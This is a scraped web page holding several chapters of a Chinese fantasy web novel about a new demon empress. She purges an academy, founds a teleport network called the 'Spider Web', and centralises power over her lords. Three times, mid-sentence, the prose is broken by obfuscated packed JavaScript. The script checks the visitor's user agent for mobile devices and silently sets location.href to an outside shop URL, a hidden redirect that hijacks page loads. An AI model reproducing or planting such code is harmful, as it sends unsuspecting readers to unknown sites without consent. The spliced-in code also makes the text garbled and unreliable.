RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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琉歌的第一神使之位……要给一个仙族? 弥随音终于反应了过来,一时间目光复杂,理智告诉他不行,他是仙族,该阻止琉歌离经叛道的举动,该离开,让一切重回正轨—— 可他的身体仿佛不受意志控制了,琉歌墨紫色的眼里仿佛有一双手,勾着他,牵着他,等他意识回笼,他已经端正的跪在了神座底下,琉歌面前。 “弥随音,你愿不愿意继续留在我身边?继续帮助我,教导我,就像我们一路走来那样。” “你愿意赌上性命,为了践行我的理想和意志而死吗?” 你要当暴君,我就是替你善后的护盾,你要肃清宇内,狠狠斩断仙魔伸向妖界的欲望,我就当你最趁手的利刃…… 无论你暴戾恣睢还是荒淫无度,无论世人是否懂得你的决策,无论后人如何书写你的功过……我要我的名字,在往后永恒的不断翻涌的时光里,与我认定的明君一同出现。 同流合污也好,相辅相成也罢,琉歌,请带上我,我会对你有用的,比任何人都更有用! 好半响,弥随音终于从那种毋庸置疑的确定,唯一的选择,还有飓风一样席卷了他的震颤与狂喜里找回了自己的声音—— “臣当竭尽全力,虽死不易。” 55. “蛛网”恢恢 第七洲领主,象母向潇湘和雪域圣女令群山对视一眼,象母微微垂眼,犹豫着就要开口:“尊上……” “胆子很大。”琉歌向后靠在神座上,指尖往前一点,她身后多而不乱的漫天红线忽然一动,其中一根被她拽出,另一头连着的正是学宫三十人中的一人。 她挥手将人扔到了象母面前,“那就再来谈谈学宫?” 那女孩闷哼一声,颤巍巍的抬眼望向向潇湘——那双和象母一模一样的眼里满是惊悚和惧怕。 “……请妖皇恕臣失言。”象母闭眼,深深将头埋了下去,“臣恭喜尊上正位,神使归庭。” 向潇湘轻微的吐出一口浊气,再不敢置喙一词,恭顺的祈求妖皇平息怒火,“愿天道见证君臣同心,泽被九洲,使我妖族江山永固,天命长昌!” 象母话音落下,玉牡丹帝宫正殿内或站着或跪着的所有妖族,全都以本族的臣服礼,向新生的妖皇表达了自己恭敬的驯顺—— “愿妖族江山永固,天命长昌!” 琉歌大笑不止,头顶十二冕旒的妖皇冠随着她的笑声轻颤。 “师尊,”她收回手,重新撑在笑意浓浓的唇边,“我早就说过了,人言和口舌是你最不需要畏惧,最不需要考虑的东西——你现在相信了吗?” 弥随音心里充盈着从未有过的情绪,那是一种尘埃落定的笃定。他也不知是因为怀里尚未焐热的神使印,还是因为直面了琉歌登顶巅峰的过程——或者两者兼有? 凤凰帝师有些茫然的环视一圈,最后将目光落在了笑盈盈望着自己的琉歌眉眼间。 他忽然追随着琉歌的笑颜莞尔一笑,白金色的浅色眼瞳和凌厉到模糊了性别,近乎美艳的面庞很容易给人极强的疏离感,可当笑意浸透他的眼角眉梢,那生人勿进的冷冽就变成了融雪般干净的微冷。 “愿君臣同心——愿妖族江山永固,天命长昌。” 微冷,却也干净的纯粹。 高原山巅的冻雪因何而化? 因为其下有一颗逐渐解冻的炽热心脏,正在随着他的君主的话语和笑容而狂跳。 “好了,该说正事了。”琉歌收敛了笑意,冲颂颂招了招手。 颂颂立刻一行礼,她本就在队伍最前端和惊轶站在一水平线上,闻言顺着琉歌的指引踏上台阶,从袖中掏出了一阵盘,回身展示给殿内所有妖族看。 “在和拜圣教周旋的这段时间里,尊上发现了春在野最新的研究成功——改良型跨洲传送阵,这也是春在野能够频繁穿梭在青丘和第五洲之间的原因。” 年轻的女孩丝毫不怯场,野心和妖皇的信任构筑了她永不弯折的脊梁,“这样铭刻了改良后的阵盘一共有三级,妖皇尊上将这个初具雏形的传送系统命名为,‘蛛网’。” “蛛网”? 众领主一时间摸不清琉歌想做什么,但三十人还跪在殿内呢,前车之鉴犹在眼前,众妖一时间没人敢吱声,等待着颂颂的下文。 “一级传送阵是蛛网系统的核心,典藏阁预备以一级传送阵构筑连通九洲的巨网。” 颂颂一边说,一边展开了完整的妖界地图,九洲四海顿时呈现在众妖眼前,一道道粗壮的白线真的如蛛网一般,跟着颂颂的话语飞跃山河—— 龙牙,夜明,无烬炎,绣骨,晚枫,霜齿,凝血珀,衍鳞,青丘。 九洲最核心的洲府随着颂颂的话语,被雪白的蛛丝一一连通。 “二级传送阵建立于一级传送阵的边沿,起到增幅器的作用,将一级传送阵已经溢散不稳的能量再次聚集,增幅,扩散覆盖更广阔的土地。三级传送阵又在二级传送阵的边沿,是蛛网内最细的阡陌,也是我们现在最熟悉,正在大面积使用中,也是构建的最熟练的旧式传送阵。” 颂颂的声音尚带着兔族少女的轻柔,可她指尖,那次第交错,错综复杂,几乎覆盖了妖族全境的“蛛网”传送系统,却让在场众人无不热血沸腾! 无数错综的白线之上,代指妖皇的玉牡丹帝宫当真宛如蛛母一般卧镇其上,它就是这张蛛网唯一的主宰。 “尊上,请问典藏阁是……?”令群山一拱手,率先发问道。 琉歌目光微移,点了点惊轶。 惊轶领命而出,笑着向众位同僚解释道:“请让在下来说明吧——” “学宫犯下大错,不可能再存在了,但妖界也不能从此就不要研学派的人才。尊上的意思是建立典藏阁,代替学宫的作用,收拢并培养研学派的人才,将最前端的先进成果握在对的人手里,发挥其正确的作用。” “蛛网系统的构想是好,待解决的难点也是真的多。目前问题最大的就是一级传送阵。” 赤狐族长略微蹙眉,“传送阵能带人瞬息千里的核心,就在于传送阵本身提供的保护屏障,起点和终点两地的保护屏障连接成甬道,使人不受空间裂隙的攻击。” “但这种保护是有距离限制的——这也是旧式传送阵无法跨洲传送的核心原因——一但超出了保护屏障距离的极限,甬道从中断裂,轻则被随机传送到某处,重则被空间裂隙卷入,从此消失在时空乱流中!” 颂颂将从学宫得到的一级传送阵递给了惊轶,惊轶从识海中抽出了一缕精神力,继续演示道:“诸位,请看,学宫的想法是以精神力保护自身,再以问情先皇的空间权柄连通两端,黏连甬道,保证人的顺利通行。” 琉歌微微坐直了身子,向前探身,“诸位,可有擅长精神力,传送阵和神族权柄方向的人才,愿意加入典藏阁将功抵过,助帝宫突破难关,构建蛛网系统?” 向潇湘尚在迟疑,她的身边,向清如忽然深吸一口气,好不容易将目光从地图上撕了下来,仰头扬声道,“尊上,我可以。” 她有些艰难的挺直了脊梁,不顾母亲担忧的眼神,目光灼亮的望着琉歌,“尊上,当年我是配合春在野研究问情先皇空间权柄的二把手。” “学宫曾研究出能融入阵盘,只要问情先皇注入足够的空间之力,便能脱离问情先皇独立存在的空间……这项成就臣起码占一半功劳。臣认为,其与蛛网一级传送阵有异曲同工之妙。” “若您愿意将此项任务交给臣,臣可以保证三月之内攻克所有残余的难关,让蛛网系统顺利在妖界全境铺展开来!” “好!”琉歌终于露出了些微笑意,指尖微动,束缚她的红线立刻消失的无影无踪。“向清如,你可是朕典藏阁第一人,不要让朕失望。” 象母赶紧将她扶起,心疼的握着她的手。 “臣还有一点问题,”向清如眨眨眼,斟酌了一下问道:“尊上,臣该向谁去汇报传送阵进度?” “——我。” 琉歌微笑着指了指自己。 “最前端的研学成果不能再沦落到春在野那样的人的手里,典藏阁并不像学宫一样归政庭管,而是直属于神庭,人员的调遣任命,工作进度的汇报,都由朕全权负责。” 一席话宛如惊雷炸响! 妖皇近臣!?典藏阁的定位居然是妖皇近臣?! 武不为错愕至极,一时间忘记了恐惧,直愣愣的抬头望向高台上银发倾泻的新任妖皇—— 妖界以武立足,初代妖祖问情更是武德昭彰。政庭神庭内的高层几乎全部是因为战功得到的封赏,就算是军功略逊一筹的春在野,那也是因为人家的定位是后勤,起到一个幕后的作用——依然还是在战场上确立的地位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310268|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琉歌居然要将毫无军功的研学派提拔到妖皇近臣的地位? 研学派抱团的原因就是因为要从几乎纯武的政庭神庭夺得一席之地,学宫就是他们的心血,现在琉歌要完全抹去学宫的存在,他们当然不乐意。 可若是现在有了一个形似学宫,明里暗里的权势地位却全部远高于学宫的组织…… ——原本对琉歌颇有微词的研学派全部可耻的心动了。 要知道以前能称得上妖皇近臣的,只有直属于妖皇的赤琉璃近卫军。 “所有人都有机会进入典藏阁,稍安勿躁,诸位。”琉歌抬手下压,是一个全场安静的手势。 “但典藏阁也不是什么人都要的,我也有我的要求——”她撑着下巴,目光投向了远方,回忆着自己一路走来的经历。 “在第四洲治理水患时,我,弥随音还有第四洲领主们,一起救下了很多来不及撤走,被困在了洪水里的幼崽,几乎全部是灵化幼崽。” “惊轶,青丘作为妖都,帝宫和圣坛都在青丘之中,因此这里是妖界灵气浓度最高的地方,每年会诞生多少灵化幼崽,又有多少灵化幼崽被找到,并被带回来仔细教导了?” 惊轶略微一怔,没想到她忽然将话题从传送阵转移到了幼崽身上,但他的能力也不是吃素的,略微在心底一思索,很快回忆起了准确的数据和答案:“回尊上,灵化幼崽诞生的数量一般看地区灵气浓度和占地面积。” 惊轶在心底飞速默算着,“妖界每年诞生的灵化幼崽数量在七万左右。” “因为青丘的灵气浓度是别处的三倍左右,诞生的灵化幼崽数量一般接近两万,赤琉璃近卫军会在巡护之余顺便负责寻找灵化幼崽的任务,每年大致能带回五千多灵化幼崽。” “只有五千吗……”琉歌蹙眉,“第四洲能寻找到的灵化幼崽也差不多也是总数的四分之一,我还以为青丘至少能找到一半呢。” “尊上,灵化幼崽大多生于山野,性格警惕,不会主动和妖族人烟接触,多数灵化幼崽会选择在野外独自度过幼崽期,直到成长期凝出妖丹,能掌控灵气了,才会开始试探着接触人烟。”惊轶无奈,为青丘政庭辩解道。 “而且天赋越强的幼崽越擅长隐蔽,越是难寻踪迹,只有等他们凝结妖丹产生灵气波动时,青丘才有机会确定他们的方向——可两场战争之后,青丘方方面面都急缺人手,难以抽出人来时刻注意四方动向。” 赤狐长老之后,众领主连连点头——这不仅是青丘的问题,也是妖界九洲共同的问题。 “既然如此,那就我来。” “我会建立和典藏阁一样直属帝宫神庭的抚育司,任命专人负责不断巡游宇内,寻找并带回新生的灵化幼崽,在青丘内统一进行教导。”琉歌指尖在神座上规律的轻点着,倏然转头望向向清如。 “妖皇神座可以感应所有妖族的气息和位置,不管是多会隐藏的灵化幼崽都不可能躲开妖皇感知——向清如,你能做到在蛛网各级传送阵中同时加入妖皇神座和权柄的力量吗?” 向清如垂眸陷入沉吟中,“蛛网一级传送阵的地基是五阶传送阵盘的同形变体,若要将权柄和神座两种妖皇之力同时融入其中,五阶肯定是不够的,起码要有七阶传送阵盘做新的地基,方可一试。” “好,武不为,你身为联合副会中阵符公会的会长,从今天起,全力配合向清如的研究。”琉歌挥手,拓印了眉心妖皇神纹的玉牌缓缓飘向了向清如,停在她眼前。 银发妖皇再次询问道:“如此,你需要多少时间?” 向清如勉强控制住因激动而颤抖的指尖,恭敬的接过玉牌,答道:“臣保证,三个月内,能让尊上看到蛛网雏形!” 56. 权归帝阙 “蛛网系统目前是最要紧的,由我亲自掌握进度,向清如,我认命你为典藏阁的第一任阁领,职位与直属神庭的赤琉璃近卫军督军,鸾台青衣史同级……你可愿意?” 琉歌的声音在空旷威严的帝宫正殿内回荡,每一个字都像一道不容置疑的法则,烙入在场所有妖族的心中。任谁都能看出,典藏阁与抚育司的设立,不仅是两个直属神庭的新机构,更是她重塑妖界权力格局的两柄利剑。 若蛛网真的建立成功,妖皇收拢天下灵化幼崽入青丘的难度骤降,神庭将掌握筛选,塑造,分配九洲精英的权力! 人乃一切之本,手里没有人,一切都是空话。 那时,领主便是被她扼住喉咙的金丝雀,只能徒劳的扑扇翅膀,却再也发不出一点反对的声音。 不久前,众领主逼郁柏神子亲上圣坛自证身份的那种事,只能随着琉歌的上台,成为遥远时光里的历史了。 有心思机敏的隐约意识到了琉歌想做什么,心头骇然,殿内一时寂静,唯有蛛网,典藏阁,抚育司等几个词在众领主脑海中反复碰撞,撞出无数惊涛骇浪。 向清如是典型的学术疯子,最醉心学术的学术派。 她心里明白典藏阁阁领是多大的官,但她并不在意这些,她原以为学宫没了,自己只能跟着母亲回第七洲,可现在,全新的研究,全新的机会已经被新神摆在了她的眼前! “臣当竭尽全力不负妖皇所托!”向清如朗声领命。 “躬行司内负责礼法章程的是谁?”琉歌环视一圈。 象母向潇湘站了出来,拱手行礼:“回尊上,躬行司的一切琐事,一直是臣在负责,官员的考核,职司,权限等礼法章程的确立,也是臣在负责。” “向潇湘么……”琉歌思索片刻,向潇湘忐忑不安的等着下文,毕竟她在这一次神庭站队中始终是置身事外的角色,现在也不确定新任妖皇会怎么对自己。 “我对你有印象,你管理第七洲管理的很好,在躬行司办事也很细致。” 居然是一句夸赞,向潇湘受宠若惊,连忙俯身,将腰弯的更低:“不敢,臣只是完成了领主义务和躬行司司掌的本职工作。” 惊轶额头上一下子冒出了汗珠,真是说着无心听者有意……更糟糕的是有意的还不止一位。 果不其然,惊轶战战兢兢一抬眸,就对上了琉歌笑意盈盈的眼眸。 “咚”的一声,赤狐长老默不作声的在队首驯顺跪下。 冰冷的玉砖上,冷汗顿时浸湿了惊轶的内衫。 琉歌未立刻处置他。 “第七洲领主象母向潇湘,第八洲领主抹香鲸长老沉怀沙听令——” 向潇湘身后,沉怀沙应声向前站到了她身边,两位雌性领主对视一眼,随即恭顺的低首垂眸。 “蛛网建立后,抚育司会尽可能收拢九洲内的全部灵化幼崽,带到青丘来抚养。” 银发妖皇手一伸,拔出了弥随音腰侧悬着的佩剑,指尖一抹,两滴灿金色的神血涌出,眨眼间凝固为光辉流转的金珠。 琉歌挥手将两颗神血凝珠递到了两人眼前,“抚育司初建,一切都需要操心,暂时由你们俩共掌。” “颂颂,神庭现任青衣史是谁?” 青衣史,鸾台第一人,相当于内侍总领,鸾台则是掌管妖皇玉牡丹帝宫大部分内务的组织,负责照料妖皇的饮食起居和生活日常。 颂颂在神庭当过侍女,自然对这些一清二楚,流利而清晰的给琉歌详略得当的介绍了一下鸾台。 第一任青衣史是问情还在人界时,就寸步不离的跟在问情身边的重瓣红莲族——重明夜。 问情身陨后,重明夜终日郁郁,没过多久便选择定居第五洲,守在问情尊上的埋骨地旁做了她的守陵人,甚至没有看到琉歌诞生便抑郁而终,从此跨越生死和阴阳,继续守护她的问情妖皇了。 而第二任青衣史,也就是现任青衣史,是学宫令春在野从自己的封地提拔的青雀族,一种灵动小巧的岩壁雀族,喜欢在临近水源的岩壁上,用岩壁上生长的青苔筑巢。 颂颂汇报完,琉歌又看向惊轶,惊轶赶紧叩首,“青雀族青衣史嗣音和春在野联系甚密,赤琉璃近卫军已经把她控制住了,目前就关押在采薇卫手里。” “尊上,是要提审还是……?”她揣摩着琉歌的心情和思路,试探着提议道。 “没必要了,明日午时直接斩首示众。”琉歌冲颂颂扬了扬下巴,“她残害神族以谋私利的证据,我会让颂颂送到审查司去的,对了,你记得往采薇卫那里去一趟,让她把帝宫秘钥和青衣史令牌都交给你。” 颂颂没有丝毫年少居高位害怕人微言轻或者德不配位的惶恐,兔族少女眼里野心的火光唰的亮起,目光灼灼,立刻点头应是。 惊轶心头更是惴惴不安起来。 这无声的敲打比任何斥责都更令他心惊肉跳。 他知道,自己及时切割与举报有功的微薄筹码,正被妖皇放在天平上反复衡量,而结果未卜。 直到颂颂领命,风弄堂和危天梭入审查司,与獬豸,苍穹一起受命去查泣寒瘴与龙尊案,琉歌似乎才终于将视线重新投回这位前任妖皇神使,神庭三长老之一的赤狐长老身上。 “惊轶。” 赤狐长老身躯一颤,以额触地:“臣在。” “问情先皇崩陨,妖界内外人心惶惶,你身为神庭长老稳固局面,先求凤凰帝师镇守妖界防止魔族入侵,后又想办法助圣坛诞育新的神胎……可谓劳苦功高。” 琉歌的声音听不出喜怒,平静得令人心慌,“学宫之事,你虽有失察之过,然举报及时,包围龙岛、关押相关人等也算得力——” 她略一停顿,这短暂的寂静几乎让惊轶窒息。 “但是,第五洲魔气一事上,你抛弃领地百姓,抛弃领主职责,率晚枫赤狐族迁居青丘,导致令群山受伤,虫族伤亡惨重——此乃大过。” “功过难相抵。从今日起,你再不是神庭长老之一,退居政庭,接替象母成为躬行司主事。” 惊轶的心猛地一沉,几乎瘫软,但琉歌的下文紧随而来—— “然你的能力我都看在眼里,政庭亦不可无首脑统筹。” “躬行司之前职责模糊,职位混乱,千头万绪宛如一团乱麻,我意欲废除躬行司各个主事,自即日起,设置吏、户、礼、兵、刑、工六部,原属躬行司的联合副会独立出来成为平行于三司的组织……你可愿统筹六部三司和联合副会的一切大小事宜,直接向我汇报?” 这并非贬谪,而是明降暗升!惊轶知晓,这是敲打,也是琉歌给予他最后一次证明忠诚与能力的机会。 惊轶劫后余生,立刻深深叩首:“臣叩谢尊上!愿肝脑涂地以报尊上信重!” 琉歌微微颔首,不再看他,目光似是无意地扫过殿中某个始终静默的身影——鲛人族族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310269|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长喻未央。 这位在神庭中对神子神女向来最为和善的长老,此刻却未得到妖皇只言片语的安排,如同一颗被遗忘在角落的明珠,静静地散发着不安的气息。 不少目光隐晦地在她身上流转,有幸灾乐祸,有冷漠旁观,亦有如鼠族族长束漫时那般,眼底藏着更深的算计。 束漫时垂眸,袖中的手指轻轻摩挲过一张写满了字的奏章。 ……或许,可以再做些文章,将水彻底搅浑,也为鼠族在即将到来的新秩序中,搏一个更高的位置。 “今日所议诸事,即刻施行。”琉歌最终一锤定音,银发无风自动,带着无可违逆,一往无前的意气。 “典藏阁、抚育司筹建,由朕亲自督办。蛛网的研究和建立,向清如,朕只给你三个月。” “臣领旨!”向清如激动应声。 “散了吧。”琉歌挥手,冕旒轻响,她抬手点过几人,又给了颂颂一个眼神,看着颂颂带学宫三十人退下了,才挥挥手继续道:“你们随我至偏殿。其余人等,各归其位,等候政庭与神庭后续调令。” 众领主齐声称是,怀着各异的心思,依次退出恢弘而压抑的帝宫正殿。阳光再次洒满玉牡丹帝宫前的广场,却已照不进许多人骤然蒙上阴霾的前路。 偏殿,静室。 此处不如正殿开阔威严,却更显肃穆机密。琉歌已卸下冠冕,银发如瀑披散,坐于上首。弥随音静立其侧,浅色眼瞳平静地扫过被单独留下的几位重臣。 “此处再无闲杂,”琉歌指尖轻点桌面,“有几件事,需与你们分说清楚。” 她先看向风弄堂,危天梭与獬豸:“学宫罪徒,并非皆可一杀了之。半个月内,一切不留下永久创伤的手段都可以用,细查每一名学宫成员,无论身份,不配合的送到我这里。与拜圣教有染,参与谋害神族,服用了神血丹或知情不报且罪证确凿者——夷三族。” 冰冷的字眼让室内温度骤降。 “但杀人不是目的。” 她话锋却忽然一转,“若其家族或本人,能拿出足以令神庭……或者说,令典藏阁、令妖界未来动容的价值——无论是失传的秘法、独特的研究成果、稀有的资源渠道,还是其他足以赎命之物,可酌情免死。” “风弄堂,这里你年纪最长,你和惊轶负责判断那些赎命钱的价值。” “那些交不出赎命钱的家族就按照正常程序走,幼崽期子嗣洗去相关记忆送入抚育司,成长期以上,废去妖丹,贬为‘似兽’,流放山野,永世不得再入妖界主流。血脉、记忆、师脉三脉皆断……具体尺度,你们自己把握。” “臣等明白。” 风弄堂与獬豸肃然领命,心底都明白,新任妖皇不仅要清洗,更要掠夺与重塑,将旧势力的价值彻底榨干,用于喂养新生的典藏阁与妖界。 “至于刚刚独立的联合副会,”琉歌看向一旁,因为虚弱不堪一直沉默的白水边,“炼药师公会会长仍由你担任,回头你把炼器师公会会长屠五月和符阵公会会长武不为带来,我还有吩咐。” “青丘需要更多的专业人才,白水边,由你牵头,三个月后蛛网建立,彻底投入运行之后,朕要看到九洲至少三成优秀炼药师、炼器师、符阵师,自愿或‘被自愿’地进入青丘政庭和神庭——你可能办到?” 白水边深吸一口气,眼中闪过锐光:“尊上给予臣如此的权限与支持,臣必不负尊上所托!” 57. 定宸肇武 在氏族和神庭政庭高层之间,泣寒瘴和魔族有关,龙尊之死和仙族有关两件事根本不是秘密。 他们都清楚——魔族侵吞妖界之心不死,毕竟问情妖祖真身所化的屏障还笼罩在妖族上头呢,更遑论前不久琼寰会议上魔尊看起来重伤已愈,实力逐渐重回巅峰。 对内,血染学宫狠狠震慑了氏族的嚣张气焰,打压了他们自认劳苦功高于是就高人一等的优越感。 对外,屏障外始终徘徊着的,虎视眈眈的魔族让他们不敢太激烈的反对妖皇革新——他们想要自己的权势延续,却也很清楚不能失去辛苦打下的妖界。 面对魔族,他们不能失去妖皇,谁也不敢赌魔尊黎狩何时会对妖界开战,于是他们都不愿在最需要妖皇庇护的时间点和琉歌撕破脸。 毕竟……问情给领主的权力太大了,他们可以在封地上招兵买马,拥有自己的军队,财政税收,人员任命等等权力,青丘几乎完全不加过问,完全交给领地内的领主自决。 琉歌妖皇一个月前宣布要建立蛛网,掌控教导幼崽,人员认命的权力,世家虽然肉痛,却也还能接受。 但听到静室内传出消息,说琉歌妖皇要废弃领主领地,以蛛网为框架逐级设置郡县,并为了应对仙魔即将到来的入侵战争,收拢所有军队进入青丘重新编整时,各位领主还是惊怒至极,为了捍卫自己的领地和权势纷纷表示了反对。 ——领主手里一共就军权财权和政权三大权力,要一个要两个就算了,谁承想您一点也不打算给我们留啊! 于是,时隔一个月,在这个政令初开的时间段,玉牡丹再次召开了大朝会,帝宫正殿内灯火通明,再次聚满了人。 气氛却与三个月前截然不同。领主,重臣,三司一会叫的上名号的各级官员们分列两侧,目光大多低垂,少了之前的试探和躁动,多了几分沉静和……敬畏。 这敬畏,来自于过去三十天里,这位新任妖皇雷厉风行的手段,也来自于他们亲眼所见、亲身感受到的变化。 “今日叫大家来,有几件事要定。”琉歌的声音从上方传来,平静,却带着不容置疑的分量。 问情不喜欢这种把所有人拉到帝宫,一开就是一天甚至几天的大型朝会。 她习惯于叫上相关的几个人,来帝宫开小会——这种被妖族官员成为小庭议。 问情时代有时候一年也不会开一次大朝会,谁知道琉歌刚刚正位一个月,大朝会已经开了两场了。 “事情一件一件来。” 琉歌身体微微前倾,手肘支在神座扶手上,银发从肩头滑落,姿态少了些帝王的威仪,多了几分务实的不耐—— “第一件事,我的尊号,还有问情先皇的谥号。” “问情先皇有开天辟地之功,替天下妖族打下了一块容身之地,只是那时一切都混乱,轩辕问情四个字做名字又做尊号,但这四个字毕竟是简化又音译后的结果,问情先皇习惯人族文化,默认了你们这么称呼,我却不能一直延续这种惯例。” 她微微一低头看向队首,唤到:“惊轶。” 惊轶行礼,接着琉歌的话往后说,“尊上的意思是,从此问情和琉歌两个称呼就只是妖皇之名,至于尊号——躬行司礼部商议后,拟定问情先皇的尊号为‘启明’,谥号为‘肇武’,寓意以武立族,开疆拓土,武德昭彰,血脉永昌。” “今日正好趁朝会,请尊上裁决。” 殿内一片寂静。所有目光都聚焦在琉歌身上。 问情的尊号和谥号,不仅仅是对逝者的追封,更是对妖族过去四百二十年历史的定调,对未来方向的昭示。 琉歌沉默了片刻。 “启明……肇武。”她缓缓重复了一遍,点了点头,“可以。问情先皇带领妖族反抗人族掌控,建立妖界,确为启明之举。她执掌妖界的二十年四处征伐,清理魔渊裂隙,使妖界牢固而稳定的运转至今……肇武两字也很配她。” “就这么定了吧——昭告妖界,立碑铸像,让所有妖族都记住,是谁给了我们这片立足之地。” “是!”惊轶领命,心中暗松一口气。琉歌愿意承认问情的功绩,这意味着她愿意在某种程度上承接正统,这对于稳定妖心是至关重要的。 神庭本还担心因为他们和琉歌之间的龃龉,会导致琉歌迁怒问情先皇之类的……现在看来,琉歌很清楚自己需要什么,也根本不在意区区神庭。 惊轶垂下眼,神庭失势对以前的他来说肯定是天大的祸事,但现在他已经退居政庭了。 赤狐长老忽又想到了春在野说过的话,“神女没接受过一天正统教育。” 他略略蹙眉,心底陡然升起三分疑惑——琉歌的能力和手段难道是天生的?难道神族都如问情和琉歌一样,是天生的君主? “惊轶,眼下万般诸事未定,今日设躬行司为政庭三司一会之手,躬行司司掌改称宰辅,惊轶,你身为第一任宰辅,勿要负我所托。” 惊轶心下大定,勉强把琉歌即位以来一直惴惴的心放回了肚子里。 “然后是我的尊号。” 她今日没戴那沉重的冠冕,只简单束着银发,一身墨紫常服,却比任何时候都更像一位主宰。 琉歌目光扫过下方:“我继位以来,所思所行,无非是想让妖界定于一尊,让这玉牡丹帝宫成为真正的天下中枢……定宸二字,你们觉得如何?” 定宸妖皇。 简单的两个字,野心昭然若揭。 殿内无人反对,也无人敢反对。 “尊上圣明。”惊轶率先躬身,“定宸二字,正合尊上励精图治、安定乾坤之志!” 众妖跟随,连声附和。 “好了,第二件事——抚育司。”琉歌微微颔首,对这些恭维并不放在心上,另起话头。 向潇湘和沉怀沙应声出列,行礼。 “回尊上,臣已经根据不同幼崽的天性和习性将抚育司一分为四,围绕青丘建立在了第九洲东南西北四个方向,第九洲内的两万名灵化幼崽目前还在大力搜寻中,四座分司运转良好,这个月收容入内的幼崽已达六千七百余人。”抹香鲸长老垂首,恭敬的汇报道。 “只是……”象母向潇湘无奈叹息一声,接着汇报道:“青丘现在哪里都缺人手,能照顾幼崽的老师、药师配备严重不足。” “我们想,是否要再做筛选,已经凝结妖丹进入成长期的灵化幼崽只是战斗力尚弱,但完全有自理能力了,是否可以不再占用抚育司本就紧缺的资源,将人手让渡给自理都困难的幼崽期灵化妖族?”沉怀沙提议道。 琉歌皱眉,似乎有些疲惫,向后靠了靠,弥随音适时地将一杯温热的灵茶递到她手边。 她接过,抿了一口,摇了摇头,下巴一点队伍左侧前段,闭目养神的令群山。 雪域圣女缓缓睁开了眼。 “定宸尊上。”她没有再让琉歌多说,轻缓而坚定的点了点头。 “为妖界分忧,是臣身为领主义不容辞的责任。” 琉歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310270|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倏然展颜一笑,“好,令群山,今日起你就是新的帝宫采薇卫领袖,只需听命于我。” “我要你将那些已经进入成长期的幼崽全部编入采薇卫,开始进行战斗和生存训练。天赋好的,不日即将成年的,送到赤琉璃近卫军,正式编入军部,为妖界效力。” “还有,”琉歌补充道,“等蛛网建成了,会有源源不断的成长期灵化妖族被送到你手下……这是个大工程,我可以相信你的能力吗?” 令群山深吸一口气直接跪下,“臣愿下军令状,会尽采薇卫所能,成为护佑妖界,护佑妖皇的最后一道防线!” 银发妖皇欣慰的点头,嘱咐道:“你对那些成长期幼崽进行突击培训的时候,不仅要教他们怎么打架,怎么保命,怎么在战场上配合,更要着重教他们怎么面对魔族,怎么面对魔气……不求练成精锐,但要能在必要时顶上去。” “说到赤琉璃近卫军……这就是第三件事了,”琉歌神情再次肃穆凝重,“藏权云。” 她目光转向这位最年轻的领主,因三年前才从母亲的尸骨上继承了领主之位,没有值得称颂的功劳傍身,又年龄尚小,她一直待在队伍偏后,只静静听着,插不上什么话。 这位第四洲苍狼族族长,在治理水患,对抗泣寒瘴和学宫之乱时出力甚多,性子沉稳,善于团队作战和配合,还有远超旁人的眼界,是块璞玉。 “臣在。”年轻的苍狼族长上前一步,身形挺拔如松,一双碧玉似的眼睛亮如流星。 “赤琉璃督军的位子,你来坐。” 琉歌说得干脆,“我要你在三个月内,把青丘现有的赤琉璃近卫军,还有各洲陆续调上来的精兵,给我揉碎了重练。仙魔不会等我们慢悠悠搞改革,仗随时会打起来。练兵的章程、阵型、器械,你全权负责。缺什么直接找惊轶要,他要不到就来找我。” 藏权云单膝跪地:“臣定不负尊上所望!” “还有你,釉面。” 釉面身为拜圣教原内阁成员,因为切割及时,举报有功一直被琉歌带在身边,她对自己最好的设想就是将功抵过,前尘往事尽消,从此在第五洲的家乡做普通妖族。 此时完全没有想到还有自己的事情,一时间又惊又怕,疑心妖皇是要开始清算自己了吗?鼬族装死的天性都要发作了。 “臣,臣也在……”她颤巍巍从队伍末尾挪了出来,怕的要跪,琉歌一个眼神,弥随音指尖微动,灵气随即涌出,撑住了她。 琉歌手指在桌上敲了敲,“我记得你过目不忘,感知强悍,在绘制地图上很有天赋。” “屠五月,你身为炼器师公会会长,趁蛛网尚未建成的时间,把炼器师公会内可用的炼器资源全部轻点一遍——我会让藏权云和令群山把需要的武器数目,类型都报给你,你率领炼器师公会全力配合生产。” 